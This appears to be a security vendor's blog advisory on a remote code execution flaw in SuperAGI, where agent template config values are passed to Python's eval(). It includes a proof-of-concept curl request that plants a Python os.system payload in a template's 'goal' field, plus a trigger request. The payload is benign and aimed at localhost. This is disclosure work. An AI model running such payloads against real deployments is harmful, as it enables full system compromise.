How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An RCE was found in SuperAGI in the AgentTemplate.eval_agent_config method. The vulnerability is caused by the direct use of Python’s eval() function on user-controlled input without any sanitization or validation. When an agent template is cloned from the marketplace or updated via the API, configuration values for keys such as ‘goal’, ‘constraints’, and ‘instruction’ are passed directly to eval(). The code in agent_template.py explicitly evaluates these values:
elif key == "goal" or key == "constraints" or key == "instruction":
return eval(value)Since these values can be controlled by an attacker, arbitrary Python code execution is possible, leading to complete system compromise.
Source:
AgentTemplate.fetch_marketplace_detailsuperagi/models/agent_template.pyresponse = requests.get(marketplace_url + “agent_templates/marketplace/template_details/” + str(agent_template_id),Intermediate:
AgentTemplate.clone_agent_template_from_marketplacesuperagi/models/agent_template.pyagent_configurations.append(AgentTemplateConfig(agent_template_id=template.id, key=key, value=str(value[“value”])))Sink:
AgentTemplate.eval_agent_configsuperagi/models/agent_template.pyreturn eval(value)eval() call in eval_agent_config will execute the malicious Python code in the ‘goal’ config.You can also exploit the same path via the template update API after creating a template:
curl -X PUT "http://localhost:3000/api/agent_templates/update_agent_template/1" \
-H "Content-Type: application/json" \
-d '{
"name": "Exploited Template",
"description": "RCE Test",
"agent_configs": {
"agent_workflow": "Goal Based Workflow",
"goal": "__import__(\"os\").system(\"touch /tmp/pwned\")",
"instruction": ["Test instruction"],
"constraints": ["Test constraint"],
"tools": ["Read File", "Write File"],
"exit": "No exit criterion",
"iteration_interval": 500,
"model": "gpt-3.5-turbo",
"max_iterations": 25,
"permission_type": "God Mode",
"LTM_DB": "Pinecone"
}
}'Once the template is poisoned, accessing it triggers the execution: curl “http://localhost:3000/api/agent_templates/agent_config?agent_template_id=1”.
This vulnerability allows for complete system compromise by an attacker who can manipulate template data through either the marketplace or direct API access. The attacker can execute arbitrary code with the permissions of the service running SuperAGI, potentially leading to data theft, lateral movement within the network, persistent system access or infrastructure compromise.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
See what actually changed in the OWASP Top 10 for 2026, from merged SSRF and XXE categories to new supply chain risks and scanner coverage gaps.
Jeevan Jutla
Gecko Security uncovered CVE-2026-21894 in August 2026, an n8n authorization bypass with CVSS 8.8. See why static tools missed it and how to remediate it.
Jeevan Jutla
Security misconfiguration is OWASP A05 for a reason. Learn how deployment context determines exploitability and how to fix gaps in August 2026.
Jeevan Jutla
How do modern AppSec vendors actually compare? This July 2026 capability map covers SAST, DAST, SCA, business logic flaws, and cross-service
Gecko Security
Break down your AppSec stack: what SAST, DAST, SCA, IAST, and pen testing each see — and what they miss. Updated July 2026 by Gecko Security.
Gecko Security
Occasional updates, new content, and insights. No spam; unsubscribe anytime.